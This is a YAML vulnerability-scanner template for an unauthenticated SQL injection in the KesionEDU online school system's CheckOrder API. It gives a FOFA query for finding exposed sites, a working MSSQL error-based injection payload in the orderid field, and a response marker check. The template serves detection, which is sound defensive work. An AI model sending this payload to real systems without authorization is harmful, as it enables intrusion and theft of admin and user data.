kesion-edu-check-order-sqli: 科汛新职教网校系统KesionEDU CheckOrder SQL注入

id: kesion-edu-check-order-sqli

info:
  name: 科汛新职教网校系统KesionEDU CheckOrder SQL注入
  author: zan8in
  severity: high
  verified: true
  description: |-
    科汛新职教网校系统KesionEDU CheckOrder 接口存在SQL注入漏洞，未经身份验证的恶意攻击者利用 SQL 注入漏洞获取数据库中的信息（例如管理员后台密码、站点用户个人信息）之外，攻击者甚至可以在高权限下向服务器写入命令，进一步获取服务器系统权限。
    fofa: body="/KS_Inc/static/edu"
  reference:
    - https://mp.weixin.qq.com/s/DKCdBFEs1bVO7k7PS3Bjeg
  tags: kesion,sqli
  created: 2024/12/31

rules:
  r0:
    request:
      method: POST
      path: /webapi/APP/CheckOrder
      body: |
        {
          "orderid": "1' AND 7755 IN (SELECT (CHAR(113)+CHAR(107)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (7755=7755) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(107)+CHAR(107)+CHAR(113)))-- Ahbw",
          "apptoken": "1",
          "ordertype": "1",
        }
    expression: response.status == 500 && response.body.bcontains(b"qkpzq1qqkkq")
expression: r0()